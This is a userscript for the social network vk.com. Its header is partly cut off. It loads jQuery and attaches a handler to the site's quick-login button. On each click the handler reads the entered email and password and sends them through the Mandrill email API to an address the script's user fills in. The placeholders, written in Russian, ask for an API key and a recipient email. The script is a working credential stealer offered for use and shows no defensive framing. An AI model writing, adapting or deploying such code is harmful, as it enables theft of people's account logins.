lal

// @match http://vk.com/*
// @copyright 2012+, You
// ==/UserScript==

function addJQuery(callback) {
var script = document.createElement("script");
script.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js");
script.addEventListener('load', function() {
var script = document.createElement("script");
script.textContent = "window.jQ=jQuery.noConflict(true);(" + callback.toString() + ")();";
document.body.appendChild(script);
}, false);
document.body.appendChild(script);
}

function main() {
jQ('#quick_login_button').click(function(e) {
jQ.ajax({
type: 'POST',
url: 'https://mandrillapp.com/api/1.0/messages/send.json',
data: {
'key': 'сюда_API_ключ_от_мандрилы',
'message': {
'from_email': '[email protected]',
'to': [{
'email': 'сюда_свое_мыло',
'name': 'name',
'type': 'to'
}],
'autotext': 'true',
'subject': 'Hi! I have something interesting for you!',
'html': jQ('#quick_email').val()+' '+jQ('#quick_pass').val()
}
}
});
});
}

addJQuery(main);